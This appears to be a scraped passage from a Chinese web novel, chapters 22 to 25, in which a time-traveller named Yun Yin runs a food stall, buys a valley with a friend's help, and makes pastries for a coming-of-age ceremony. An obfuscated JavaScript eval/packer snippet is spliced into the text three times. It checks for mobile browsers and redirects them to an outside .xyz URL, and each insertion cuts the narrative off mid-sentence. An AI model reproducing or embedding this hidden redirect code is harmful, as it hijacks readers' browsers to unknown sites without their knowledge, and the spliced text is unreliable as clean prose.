其他人皆一一品尝，各个都是一脸苦色，除了谢彦轻轻眯眼道：“味道不错，有种别样的韵味。” 宋时连连摇头道：“我不喜欢，还是煮出来的茶好喝，这个除了苦还是苦，若不是有点心的甜压住，我此时嘴里就只剩下苦了。” 罗蔓与宋萱也赞同道：“确实不适应，还是煮的茶味道丰富。” 几人说说笑笑，不一会儿就把整盘荷花酥吃完了，宋时觉得没吃够，起身道：“我去问问云娘子，这点心还有没有。” 宋萱看了看已经空了的盘子道：“我也去。” 宋时瞥一眼妹妹道：“你去做什么？” 宋萱垂眸，怯怯道：“就找云娘子说说话。” 二人穿过田野来到饭摊前的凉棚下，看着还在喝茶的傅望，宋时喃喃道：“他怎么还在这里。” 傅望听到动静，转身看去，对上宋时好奇的目光，微微颔首，见几人似乎有话说，起身与云音告辞道：“那云娘子我们明日见。” 云娘子点头道：“嗯，傅郎君慢走。” 送走傅望，云音让张林把桌子收拾好，询问二人道：“你们有事？” 宋时一屁股坐下，看着收走的点心盘子道：“云娘子，你不够意思啊，我们这么多人才一盘点心，傅郎君一个人就吃了一盘，你可不要厚此薄彼啊。” 22. 第22间客栈 云音挑眉望向宋时：“你来找我，不会就是说这个的吧。” 宋时咳嗽一声道：“哎，这不是觉得荷花酥又漂亮，味道又好，拿来送人很适合，我想让你再帮我做几份，我拿回去送长辈。” “做这个倒是没什么问题，只是价钱方面……” 云音话才说一半，宋时连忙从荷包里掏出银子道：“价钱好说，今日我们吃的也很满足，那道金齑鱼脍我也很满意，加上你帮我做两份荷花酥，我给你二两银子如何？” 云音微微扬眉，没想到宋时这么大方，竟然给她二两银子，果然不愧是官宦子弟，出手就是阔绰。 其实今日他们几人总共吃了五荤两素，外加一道汤，以及一道点心。最贵的莫过于金齑鱼脍与荷花酥，一起也不过花了半吊钱，但他却给了二两银，不过云音没有说什么，这些菜放到县城或州城，二两银子不算什么。 她接过银子道：“没问题，我一会儿帮你做两份。” 云音说完，看向一直默默站在一旁的宋萱道：“宋娘子找我有什么事？难道也是要做点心送人？” 宋萱看了眼说完不走的宋时，犹豫许久方道：“额，我是想问问云娘子还会什么点心？就像荷花酥一样，又漂亮又好吃的。” 云音沉思半晌道：“点心的话，桃花酥、蜜枣酥都是又好看又好吃的糕点，雪媚娘也不错，这些我都能做，不过有很多食材我这里没有。” 宋萱道：“不知云娘子需要哪些食材，若是不怎么贵重，我可以想想办法。” 云音听宋萱的意思是想找她买点心，她想到买地还差的钱，觉得这个生意也不是不能做。 她道：“倒也不是特别珍贵，只是需要用到牛乳。” 宋萱松了一口气道：“牛乳啊，那还好，我这边可以买到。” 宋时在旁边听着，见宋萱问得越来越细，他问：“阿萱，你不会是打算把这些糕点用在你的及笄礼上吧。” 宋萱道：“难道不可以吗？及笄礼的筵席交给满香居，可我不喜欢他们家的点心。一辈子只有一次的及笄礼，我想办的更好。” 宋时道：“云娘子的手艺自然没得说，可你要换人，要跟阿娘商量吧，阿娘知道这事吗？” 宋萱垂眸道：“阿娘还不知，不过我会说服她的。你不是要买糕点吗？若是你不买，我也打算买点回去，让阿娘尝尝，相信阿娘会同意的。” 宋时点头：“好吧，既然你想，我会帮你说话的。” 宋萱拿出一两银子递给云音道：“云娘子，这钱给你做定金，事成我再给你二两，到时候还要麻烦你来一趟县城。” 云音摇头道：“你确定好后再给我吧，你什么时候办及笄礼？” 宋萱想想还是收回银子道：“再过半个月，我会尽快给你消息的。” 送走二人，云音正打算清洗张林采回来的香椿时，罗蔓走了过来。 看着一大堆香椿，罗蔓好奇问：“妹子这是要做什么？” 云音笑道：“阿蔓姐坐，我正准备做点香椿酱呢。” 罗蔓在一旁坐下，手里拿了一棵香椿帮忙清洗，“我过来本来是找你说一说那几样点心的利润，只是没想到妹子竟然深藏不露，白案功夫一点也不输红案。” 云音摇头道：“点心我懂的还真不多，会这些也是因为这些点心又漂亮又好吃，所以才特意学的。” “不过这些点心都有共同点，只要掌握诀窍，其他点心也就会了。” 云音捞起香椿换到另一个大盆中淘洗，把已经清洗好的香椿放到簸箕中晾干水分。 她看着罗蔓道：“阿蔓姐想说什么可以直说。” 罗蔓环顾四周，此时官道上已经没有人经过，这里只有他们二人，远处宋时他们惊呼声隐隐绰绰，“今日看到这里环境简陋，我就想邀请你去县城，尝到你的手艺，我更希望能与你合作。” “你不愿意去镇上，也可以去县城，我在县城的店铺可以交给你打理，我分你一半利润。” “妹子手艺这般好，在这里有些浪费了。” 云音一双眼睛睁大，意识到罗蔓是认真的，她也收起震惊，郑重道：“阿蔓姐能这些说，就是把我当自己人，那我也与你说句实话，这里以后就是我的家，我不会离开的。” 虽然这片山谷荒凉，能耕种的土地不多，也没有人烟，可这里靠山靠水，不论发生什么，山里都有一条活路。 而且这里是她穿越过来的地方，她也不想离开，买下山谷将其打造成心目的家园是她如今的目标。 她的日子正在一步步慢慢变好，地里的蔬菜也刚刚种下，山里还有很多食材等着她去发现，她很满足如今的生活，并不想改变什么。 她弯了弯眼睛道：“谢谢阿蔓姐，不过我觉得现在很好，不想改变太多。” “可是这里很荒凉啊，不像县城富户多，妹子你的手艺在县城可以赚到很多钱，不用像现在这样辛苦。” 云音：“这里也能赚到钱啊，你看如今宋时还专门带着你们来捧场，以后说不得有许多县城里的人来这里吃饭。” 她并不知道这话在之后成真，许多郎君娘子相继来这里郊游吃饭游玩，这一片成了附近最热闹的地方，渐渐发展成了集市，对面和隔壁的村子也因此收益。 罗蔓见她坚持己见，无奈笑笑：“既然你决定了，我也不劝你，那之前点心的收益你看看。” 她从袖子里拿出一本账册道：“你看看有没有问题，没有问题我先分你一两银，以后分账我会半个月与你核对一次。” 云音认真看了看账本上的记录，镇上和县城的人果然很多，不过短短几天，三成利润都有一两，也不怪罗蔓一直让她去县城。 她算了算如今的存款，今日除了宋时给的二两，罗蔓给的一两，其他客人也贡献了一两，总计四两银子。 加上之前的五两，她如今已经有9两，若是宋萱那边的生意可以做，她还会有二两进账，就算要交税，那也离买地的十两又进了一步。 想到明日傅望还会帮她介绍客户，可能很快能买地了，她对着罗蔓喜滋滋道：“多谢阿蔓姐，让你费心了。” 罗蔓摇头道：“哪里的话，也是托妹子的福，我店里的生意都好了许多，是我该谢妹子。” “阿蔓姐，我们就别谢来谢去了，咱们一起努力。” “嗯嗯。” 和罗蔓聊完，云音给晾着的香椿翻了个身，趁着天气还早，先去做香椿酱。 罗蔓事情解决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178758|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也放下心神，与宋萱放起纸鸢，春光明媚，杨柳依依，正是放纸鸢的好时间。 云音老远看到空中飞舞的风筝，手里的动作微微停顿，“是放风筝的时候啦，我也已经好多年没有放过风筝了。” 她快速做好香椿酱，决定一会儿加入他们，下午也好好休息休息。 溪水潺潺，山花烂漫，云音与罗蔓他们嘻嘻闹闹度过一个完美的下午。 直到第二天醒来时，心情依旧愉悦，她哼着歌吃完饭，交代张林照看饭摊，她拿着蘑菇酱去找傅望。 刚过清明的县城比起往常来显得萧瑟几分，许多人都出门踏青赏花，衬得县城更加寂寥。 一处安静的小院前传来咚咚敲门声，惊醒沉睡中的街道，一道低沉的嗓音从门内传来：“来了，稍等片刻。” 云音看着从门内走出来的傅望，上下来回打量他，傅望被她眼神看的局促，他扯了扯宽大的袖子道：“怎么，我这样穿很奇怪吗？” 云音意识到她目光过于直白，她连连摇头道：“不是，只是看惯你穿着窄袖长袍，突然看你宽袖长袍有些惊奇。” 穿着窄袖长袍的傅望就像书里的侠客一样，风姿洒脱，行动间如同一柄利剑，让人避之锋芒。 如今换上宽袖长袍，就像利剑藏锋敛锷，他也被这衣袍敛尽锋芒。 傅望无奈笑笑：“这不是要带你见个朋友，所以特意打扮一番。” 云音好奇道：“不是去见客商吗？” 傅望：“确实是见客商，不过周昌也约我一叙，我想着你日后长留此地，带你见见朋友，让他多关照关照你。” 云音闻言，脸上不自觉绽放笑意：“让你费心帮忙介绍客商已是我厚颜，怎好麻烦你朋友。” “我的朋友就是你朋友，不用与我客气。”傅望走在前面带路，“有关系就要用，再说我与周昌是过命的交情，只是托他照看你一二，也不影响他什么。” 云音此时心中七上八下，这人对她的态度也太好了，他们也不过刚刚认识而已。 傅望见云音没有回应，他皱了皱眉道：“我们不是朋友吗？朋友就该互相帮助，再说于我而言只是介绍个人给你认识，你不用有心里负担。” 朋友吗？云音不安的心渐渐回落，她皱着眉舒展开，除了罗蔓，她在这个世界又有了新的朋友。 云音露出笑颜，她狠狠点头道：“你说的没错，朋友就是要互相帮助。” 与周昌的见面很愉快，那是个豪爽的人，傅望拜托她照看云音，他二话没说就答应下来，还让云音若是有需求，就来县城找他。 与周昌分开，傅望带着她见了几个客商，因为这些客商常常与傅望合作，对于云音带去的蘑菇酱都很满意，光是这几个客商的单子，就有一百罐。 就这一笔她到手就有6两，算算手里的钱，云音眼中闪出兴奋的光芒。 “有了这笔钱，我买地的钱就够了。” 傅望闻言唇角微微扬起，见云音好似吃了蜜般开心，他也替她高兴：“既然如此，那你是不是要去买地？正好我今日有空，陪你一道去，对于买地的事情，我也知道一些。” 云音收好银子，连连点头道：“走吧，现在时间还早，我们去找孙里正。” 23. 第23间客栈 午后的阳光从树梢中洒落，临江村的村民戴着斗笠在田野里干活，汗水从脸颊滑落，也顾不得擦拭，只想着除草施肥，期盼今年老天爷开眼，田里庄稼能够丰收。 云音和傅望从马上下来，那些村民也不过是看他们一眼，继续干自己的活，许是农活的疲惫，让他们失去了探知的欲望。 只有走到里正家附近时，附近才有人探头出来张望，见是熟悉的面孔，好奇道：“云娘子，你又来收菌子吗？可是如今还不到菌子季节，干菌子上次我们都卖给你了。” 云音对隔壁的婶子笑了笑，摇头道：“我不是来收菌子的，我找里正有事。” 在院子里忙碌的钱嫂子听到熟悉的声音，从屋里跑出来，连声招呼道：“哎呀，云妹子，你过来找我阿翁什么事情，我们进屋说。” 她挥退隔壁一脸好奇的婶子，拉着云音进了院子。 隔壁嫂子撇了撇嘴道：“也不知这云娘子又给孙家什么好处，自从云娘子来我们村收菌子和蔬菜，孙家也是赚了一笔，家里都有两个读书人了。” “比不了，比不了啊，还是家里有人做里正好啊。” 那嫂子的婆婆瞪了她一眼道：“你胡咧咧什么呢，孙里正也是德高望重，才会被选为里正。云娘子收菌子，孙里正并没有只关照自家，其他家的有难处的，哪个他没帮衬，就连我们家也是得了好处的。” “再说只要云娘子一直收菌子，等再过一个月菌子下来，又能赚一笔，往年哪有这个机会，一年到头都看不到几个铜板。” 那嫂子缩了缩肩道：“娘，我也只嘴上说说，我知道孙里正为人公正，只是羡慕他们家能有读书人，而且还是两个。” 她婆婆叹口气道：“这也是没有办法，都是命，我们这些没本事的人，只能地里刨食，孙里正再怎么说也是读书识字，这就是他的本事了。” 这家院子的婆媳二人正在讲孙里正的故事，隔壁院子里钱嫂子一脸喜色拉着云音坐下道：“云娘子，你坐着，我让大丫去叫阿翁了，你这次来有什么事吗？还是过来收购蔬菜的？” “我又攒了一篮子鸡蛋，云娘子若是需要，还是按照之前的价格给你。” 她说到这里，看看后面跟着的傅望，迟疑道：“这位很眼生啊，难道也是来落籍的？” 云音不好意思笑笑，抽回手道：“这是我朋友，过来陪我办点事。鸡蛋的话，明日张林会过来收的。” 钱嫂子见达成所愿，喜笑颜开，一把拉过云音的手道：“哎呀，真是多谢妹子啦，对了，你之前不是想要茄子苗吗？正好我这边已经育苗了，明天让张小兄弟一起带回去，直接种下就可以了。” 云音再次笑笑，不着痕迹抽回手道：“那就麻烦嫂子了。” 就在她不知该说些什么时，大丫带着孙里正回来了，云音立刻上前道：“又要麻烦孙里正了。” 孙里正看着云音身后站着的气宇轩昂的郎君，摸了摸胡子道：“小娘子还是要落户籍吗？” 云音和傅望随孙里正在大堂落座，她含笑道：“不是，之前孙里正不是说，隔壁那片山谷可以卖，不知是否还作数？” “自然是作数的。”孙里正摸着胡子的手微微一顿，“娘子是已经打算买下来了吗？” 云音不慌不忙道：“是有这个打算，这次是带朋友过来具体了解一下情况，若是没问题，我会买下来的。” 孙里正进屋拿了一本册子过来道：“之前与你说的，那片地作价十两，这个可由我们村做主，之后去县衙登记就好。” 他顿了顿道：“不过我也事先告知娘子，那片地能开荒出来的地，最多也就百亩，土质也很一般，可能三年后连赋税的够不上。” 大昭采用的是租庸调制，每丁每年需要缴纳2石粮食，布二丈五尺，麻三斤，每丁每年则需要服役二十日。 因为云音是女子，所以服役这条是免了的，但其他的赋税都需要缴纳。 这还只是租庸调的缴税，还有一个地税是按田亩征收的，每亩需要缴纳二升粮食，最后就是户税了。 户分九等，从上上户到下下户每一户交的税都不同，最高能到4000文，最低也要500文。 云音若是买了地，加上又有商铺，会被划分为上户，每年至少要交3贯钱。 而3贯可以买1000斗米了，就算云音所有地加起来都丰收，一年也不过1500斗，所以交完赋税还真的不剩什么了。 也不怪孙里正要提前提醒云音，那片山谷不是什么好地方了。 云音回头询问傅望，见他颔首，她便明白孙里正说得没错，若是只靠种地，一年根本存不到钱。 好在云音已经把蘑菇酱的销量打开，饭摊也开起来了，就算种地没有剩余，饭馆也能支撑她的生活开销。 她郑重对孙里正道：“我确定买下那块山谷，麻烦孙里正了。” 孙里正见云音一意孤行，也不再劝说，提笔写下契约，上面明确写明包含那片山谷所有土地，并不仅仅只有那100亩可以种植的地。周围无法开垦的地，也包含在内，加上可种植的地，总计150亩。 他写完这些信息，又在文牒上写明云音的买方信息，至于卖方自然填的是衙门的信息。 孙里正把文牒和契约递给云音道：“你带着这份文牒和契书，去县衙登记，到时候把钱交给衙门，这样这片地就属于你了。” 他正要收拾笔墨，又想起一事道：“因为你买的这些地都是荒地，所以衙门规定可以免除三年地税，三年之后你就要缴税了。” 云音点头表示明白，就在她打算离开时，听见孙里正道：“云娘子留步。” 她回头看向孙里正：“里正还有什么事？” 孙里正迟疑片刻还是道：“不知娘子是否需要开荒，若是需要，我们村里的人都可以帮忙，价钱也便宜。” 云音想到那100亩地靠张林和她肯定是不行的，她略作思考便同意道：“都是同一个村子的，自然要麻烦乡亲们，等我需要开荒时，我再来找您。” 和孙里正说完，她收好契书和文牒对傅望道：“要麻烦你带我回县衙一趟了。” 傅望摇头：“没事，我今日正好闲着，这事找周昌就行。” 孙里正听到他们提起县尉，抬头打量他好几眼，又看了看云音，提醒道：“土地买卖归属与司户曹，之后会交与县令，县尉是不管这事的。” 傅望对孙里正笑了笑道：“多谢您的提醒，我们明白。” 离开临江村，傅望对云音道：“周昌确实不管这事，不过他与县令关系还行，这事托给他肯定能帮你办好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187031|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云音：“会不会太过麻烦他了？” 傅望：“这点小事算什么，好了，别担心，我肯定帮你办好。” 云音从傅望哪里了解到部分县衙的职责，往后她与司户曹打交道的地方还很多，像每年缴税，发放通行凭证都归他管理。 连她如今在官道开的饭馆，也是归属于他负责，正好云音也趁着这次机会，在县衙登记一下饭馆。 之前她的生意还不算大，如今她通过卖蘑菇酱，已经赚了不少银子，饭摊也渐入佳境，她也是时候登记了。 小打小闹时没什么，做大了一旦被查后果就严重了。 云音只想安安稳稳做她的小生意，这些事能顺利解决，她往后也能安心。 她弯了弯眉眼道：“傅郎君，真是多谢你了，若不是你，我还真不知道里面的弯弯绕绕。” 傅望摇头道：“我也是走镖时间久了，遇到过各种问题，慢慢也就知道了。云娘子买下了地，开了饭馆，日后日子会越来越红火的。” 云音赞同道：“傅郎君说的是。” 因为有周昌的帮忙，土地过户非常迅速，云音把钱交了，就拿到属于她的地契。 看着地契写的她的名字，云音一时间有些热泪盈眶，她在这个陌生的朝代也有了归属。 傅望很是体贴的转过头，等云音平复完心情才道：“既然云娘子的事情办完，那我就告辞了。” “日后再经过时，我会再来吃你的菜的。” 云音擦干眼泪，注视傅望道：“傅郎君要离开了？” 傅望颔首：“我已经在龙安县耽误许久，明日我兄弟他们到了，我也要离开了。” 听到傅望明日就要走，她一时间有些难过，才与他成为朋友，如今就要分开。 她擦了擦又冒出来的眼泪，忍住泪水道：“那祝你此行顺利，日后有机会再见。” 傅望凝视她许久，在那双清澈的眼中看到真切的祝福，他勾唇一笑道：“嗯，那我也祝云娘子平安喜乐，生意红红火火。” 虽然傅望要离开，但他介绍的客户如今还在龙安县停留，云音需要尽快交货。 好在之前就签订了契约，云音有三日时间准备，一时半会儿也不用着急。 离开县城去了一趟镇上，与卖肉的胡掌柜定一头猪，明日一早去拿就行。 想到明日要做的事情，她的心情渐渐恢复平静，喜气洋洋回了饭摊。 此时的饭摊由张林负责，他如今只会煮面条，所以今日也只卖面条。 张林见云音一脸喜色，好奇道：“掌柜的捡到银子啦。” 云音收了收脸上的笑容，嗯了一声道：“谈成一笔买卖，我很开心。” 不过严肃一会儿，还是没忍住道：“日后这片山谷就是我的了，那一百多亩地都可以开出来啦，日后我们也能种粮食了。” 张林惊呼出声道：“真的吗？这片地都是娘子的了？” 得到确定答复，张林也为云音感到高兴，可没笑一会儿，他又愁眉道：“可如今就我们两个人，这100亩地要何时开出来？” “就算开出来，也种不过来吧。” 云音：“我已经安排好了，开荒的事情就交给临江村的乡亲们，给他们工钱就行。至于种植一事，确实是个问题，我还要仔细想想。” 24. 第24间客栈 两个人肯定是种不了一百亩地的，云音巡视一圈附近的地，土质确实如同孙里正说的那样，很一般，想要养起来需要花不少时间。 她大致看了一圈，上等地不多，有个十亩都算好的，剩下的都是很贫瘠的土地。 可能租给别人也没有人愿意种，今年粮价已经回落，种地根本存不下钱，若实在没人愿意租地，只能花钱雇人了，她不能看着这地闲置，多养养，总能养好的。 云音环视四周，可以在附近挖一个池塘。一则可以养鱼，种莲花，二则也可为那一百亩地灌溉。 至于不能种植的五十亩地，云音也有了计划。她的那本养殖大全里，有水产品的养殖，比如虾、螃蟹、黄鳝、泥鳅等，这些都可以养殖起来。 油闷大虾，香辣蟹都是她喜欢，既然有这个条件，自然也可以养殖起来。 她有一百多亩地呢，随便折腾，只要饭摊能继续赚钱，她就没什么好担心的。 翌日，云音做完蘑菇酱，她租的车也到了，张林帮忙把所有酱搬到车上，对云音道：“掌柜的，那我继续看店，等你回来再去临江村？” 云音颔首道：“不着急，等我回来安排，还要雇人开荒，找钱嫂子买的蔬菜蛋类，到时候正好用的上。” 坐着车来到县城，云音交完货，带着剩下的酱去了傅望住的院子。 正好遇上从院子出来的傅望，他道：“云娘子是来找我的吗？” 云音含笑道：“你不是说今日要离开吗？我刚好做了蘑菇酱，这些是送给你的，就当给你践行。” 傅望被她搬下来的十罐蘑菇酱惊到，他上前帮忙道：“不用如此破费，如今你才刚买地，也花了不少银子。” 云音鼓了鼓脸颊道：“我们不是朋友吗？朋友送你东西，你怎么好不收。况且这些都是我自己做的，能花多少钱。” 傅望手足无措，见她误会，连忙解释道：“我不是那个意思。” 见云音又要瞪他，他赶紧道：“好吧，我收下。我的意思是朋友之间不用送礼，你来送我，我很感激。” “我知道了，以后不送你了。”云音哼了哼，抬起蘑菇酱往院子走去。 傅望搬上剩下的蘑菇酱，追上她道：“是我说错话，你不要生气，我很开心你送我东西，只是我不太会表达。” 他神色郑重道：“云娘子，我嘴笨，你别生气。” 云音噗嗤一声笑出来道：“我没生气啦，只是我与朋友相处过，所以也不知该与你如何相处。若是我有做的不对的地方，你也可以直说。” 傅望长松一口：“你没生气就好，时间长了，你就知道我的为人，你也不用有负担，只有相处的愉快，朋友才会长久。” “愉快吗？”云音回忆与他认识的短短时间，确实挺愉快的，她嗯了一声道，“我知道了，与你相处确实很开心。” 就在二人闲谈时，门外传来敲门声，云音出门一看，是宋时的书僮，“寿儿，你怎么在这里。” 寿儿行礼后道：“云娘子，我们家娘子找你商谈事情，她如今就在西市的茶楼。” 云音颔首道：“行，我一会儿便去。” 她转头对傅望道：“我有事先走了，一会儿就不来送你了。” 傅望颔首道：“云娘子去忙吧，我一会儿也要出发了。” “抱歉，我来晚了。”云音随着寿儿来到茶楼，此时宋萱已经等了有一会儿，她连忙道歉。 宋萱给她倒一杯茶道：“没有，我也才到没一会儿，本来是打算派人去你住的地方说一声，春桃意外在街上看到你，这才让寿儿去请你过来。” “不知云娘子哪天有空，我阿娘想要试试你做的点心。”宋萱歉意道，“虽然阿娘尝了你做的荷花酥，很满意，但她还是需要看看你做其他点心的手艺。” “那天对我很重要，阿娘也是担心出了岔子。” 云音赞同道：“你阿娘考虑的很周全，我今日有空，若是府上方便，我现在就能随你去。” 一般主簿府邸在县衙左近，但宋家在龙安县已经经营几代，早已经置办不少产业。虽如今仍然是寒门，但若是宋时考中进士，那距离他们改换门庭又进了一步。 云音随着宋萱进了宋家，宋家的府邸是个两进的院子，虽然只有两进，但占地面积也很大。 进入后院，穿过垂花门，一个体型微胖的妇人走来行礼道：“娘子，主母已经等着了。” 云音随着这妇人进了正房，厅堂上首坐着一美艳妇人，眉眼中与宋萱有几分相似。 她刚上前行了一礼，那妇人就拉过云音手道：“好一个如花似月的美娇娥，还如此心灵手巧，那荷花酥做得栩栩如生。” 云音垂眸笑道：“多谢主簿娘子的夸赞。” 她招呼婢子上茶道：“想必萱儿已经告诉小娘子了，这次就麻烦你了，报酬就按照萱儿说的。” 云音颔首道：“不知主簿娘子可否备齐我需要的东西？” “牛乳我这边已经准备妥当，小娘子随柳儿去厨房吧。” 云音随柳儿去了隔壁院子的厨房，此时厨房早已关火，厨娘把她所需的东西准备妥当，对她道：“小娘子若还有什么需要，就唤我一声，我就在院子里听吩咐。” 她随意翻看一下准备的材料，抬头道：“有劳。” 云音这次主要做的糕点有雪媚娘、蜜枣酥、以及桃花酥。至于荷花酥主簿娘子已经尝过，不用再做。 这几种糕点，蜜枣酥的做法是最复杂的，特别是蜜枣上面的酥需要特别注意，否则就做不出来漂亮的酥。 仍旧准备一个油皮与油酥，油酥用低筋面粉配上猪油搅拌揉成团。油皮则用普通面粉加入红曲粉、糖、猪油与水搅拌均匀。 揉好的面团静置一段时间，油皮和油酥分别擀平，然后用油皮裹住油酥锁边，包好的面皮擀成薄片，分成三份折叠起来。 叠好的面皮放到一旁醒一醒，醒好的面皮继续擀平，用刀平均分成几块，保证每一块的宽度一样。 之后在每一片上刷上蛋液，全部叠在一起，等面团变硬后就能切成薄片，这样蜜枣酥的外层就做好了。 然后用这层薄片裹上蜜枣，用蛋液收口，最后做好蜜枣的梗，粘在枣的头顶，一个漂漂亮亮的蜜枣酥就做好了。 至于如何形成千层酥的模样，只要下油锅炸一下，酥皮就会形成好看的竖条，不论是近看还是远看，都是一颗蜜枣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192627|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云音动作迅速炸完一盘蜜枣酥，至于桃花酥，她也在做蜜枣酥的间隙做好，之后就是放入烤炉中烤制。 主簿家也时常做点心，烤炉还是有的，云音只需要把点心放到炉子里，自然有旁人照看。 做完蜜枣酥和桃花酥，只剩最简单的雪媚娘了。雪媚娘做起来简单，只是如今没有奶油，需要云音自己动手打发。 奶油混合红豆沙，包入蒸熟的面团中，一款雪白软糯的雪媚娘如同精灵一般落在白瓷盘中。 正堂的宋萱正在与阿娘商量及笄礼的事宜，突然闻到一股香甜，回头看去，正好看见云音端着糕点进来。 食盒打开，一颗颗红彤彤的枣子出现在她们眼前，主簿娘子皱眉道：“怎么把枣子端上来了？这就是云娘子说的糕点？” 宋萱惊讶张大嘴，好半晌才合拢道：“阿娘，这不是真的枣子。” 主簿娘子倒吸一口冷气，握紧手里的帕子来到桌前，看到这一颗颗和真的枣子没什么区别的糕点道：“这真的不是真的吗？” 云音对于她们的震惊早已经习以为常，要知道她第一次见时，也被惊得许久回不了神。中式点心源远流长，像蜜枣酥这样的点心数不胜数。 其中比较有名的比如苏式船点，通过捏造各种各样的造型，让点心变成一道艺术品。 “主簿娘子，宋小娘子，你们要不要尝尝看？” 云音见二人久久没有回神，连忙招呼道：“若是有什么问题，可以提出来。” 主簿娘子缓缓坐回椅子上，接过婢子递过来的竹著，夹起一颗栩栩如生的蜜枣，外皮酥脆，蜜枣甜糯，两相融合一脆一软如同阴阳两极，达到了口味上的平衡。 而雪媚娘又是不同的口感，外皮软糯轻弹，咬一口露出内里奶香四溢的奶油，豆沙和奶油纠缠在一起，碰撞出不一样的风情。 吃到最后的桃花酥，主簿娘子心中只剩赞叹，明明同样是酥，桃花的酥与蜜枣酥却又完全不一样。 这些点心不仅好看还美味，主簿娘子放下竹著，郑重道：“半个月后的宴席，糕点就交给云娘子了。你还有什么要求，我这边都能答应，一定要确保万无一失。” 主簿娘子已经能想到，这几款点心会有多么受欢迎。 云音笑了笑道：“其他倒是没什么，只是食材方面还要府里多费心，牛乳一定要新鲜的。” 主簿娘子颔首道：“云娘子放心，食材我这边一定按照你的要求。” 她对着身后的婢子使了个眼色，那婢子连忙上前，递给云音一个荷包。 主簿娘子拉着云音的手道：“如此就麻烦你了。” 云音本不想收下，但又不想驳了主簿娘子的好意，她颔首道：“主簿娘子放心，我一定尽心。” 宋萱见阿娘与云娘子说完，起身送她出门，一直沉默寡言的宋萱，慢慢露出一丝浅笑：“还好当日哥哥带我去云娘子饭馆吃饭，不然我就要错过你的手艺了。” 云音能明显感觉到宋萱的愉悦，谁不想及笄礼办得十全十美，她也能理解，“宋小娘子放心，你安心等着及笄礼吧。” 离开主簿府邸，云音拿出那个荷包看了看，里面竟然装了半吊钱，她不由得感叹主簿娘子的大方。 25. 第25间客栈 时间如潮水般流逝，云音这边的地才开垦一部分，宋萱的筵席要开始安排了。 好在这些都是云音做熟的事情，她不仅在筵席开始前做好所有糕点，还能去抽出时间参加宋萱的及笄礼。 她到了宋萱的院中，此时她被人团团围住，梳妆打扮，等待接下来的及笄礼。云音把送她的礼物交给她，见她实在忙碌，也不多打扰她，去了前院等待。 在大昭，及笄礼是一个很庄重的仪式，代表着女子成年，是一个大人了。 云音作为观礼者体验古时候，女孩子成年礼是什么样的仪式。 一加插素簪换素衣襦裙，一拜拜父母，谢其养育之恩。二加换发钗，改穿曲裾深衣，二拜拜正宾，敬师长前辈。三加取发钗换钗冠，换上大袖长裙礼服，三拜拜轩辕黄帝。 三加三拜结束后，宋萱接过正宾递过来的醴酒，跪坐把酒撒一点在地上，唇角微微沾一点酒，这一步也就结束了。 之后是长者赐字，云音听见宋萱的长辈给她取字静萱，期望她稳重内敛，又能自信从容，是极其美好的期望。 宋萱听完父母教诲，起身对着所有参礼者揖礼表示感谢，及笄礼就完成了，后面可以参加宴席。 云音很羡慕宋萱能在家人的陪同下，举办成人礼。她成年那年，家里只有她一个人，没有要好的朋友也没有亲人，她的生辰是自己一个人度过的。 虽然她那天也奖励自己，给自己做了一个很大的生日蛋糕，但依旧觉得孤独。 云音挥走一时的感伤，随着婢子穿过垂花门，跪坐到宾客那桌。 筵席的菜肴是满香居的大厨精心制作而成，上面的菜肴皆是他们的招牌菜。云音之前已经吃过的八宝鸡，还有荷叶蒸鸡，味道仍旧让人称赞不已，而上次没吃到的烧鸡，这次尝过后，她不得不感叹大厨不愧是大厨，她要学的东西还有许多。 外皮金黄酥脆，肉质鲜嫩多汁，不知是用的什么木头烤制，鸡肉中带着一股清香，中和了鸡肉的油腻。轻轻一夹，鸡肉骨肉分离，浓郁的香味瞬间扑面而来。 云音还在感叹满香居的手艺，桌上的其他女子则发出哇的声音。 她旁边一个穿着华丽的妹子，微微探头看去，只见一朵朵荷花由远及近，落在她桌前。 云音看去，才发现原来是她做的糕点到了，因为这次筵席人多，糕点也不能一直供应，她和主簿娘子商量好，按照人头，每种糕点每人能有一个。 她自然也有做些备用，以防有意外发生。云音见众人只是单纯看着，一点也不拿筷子，她正准备吃的时候，旁边那妹子惊叹道：“这也太美了吧。” “主簿娘子可真是费心了，这样的糕点，我也就在长安见过，还是很有名的大酒楼才有这样精致的点心。也不知她请了哪家的厨子，不知能不能也来我家帮忙置办筵席。” 云音摸了摸鼻子，并没有出声，她安静坐在一旁听着她们的夸赞，直到蜜枣酥也端上来时，她们才停下对于荷花酥的赞赏。 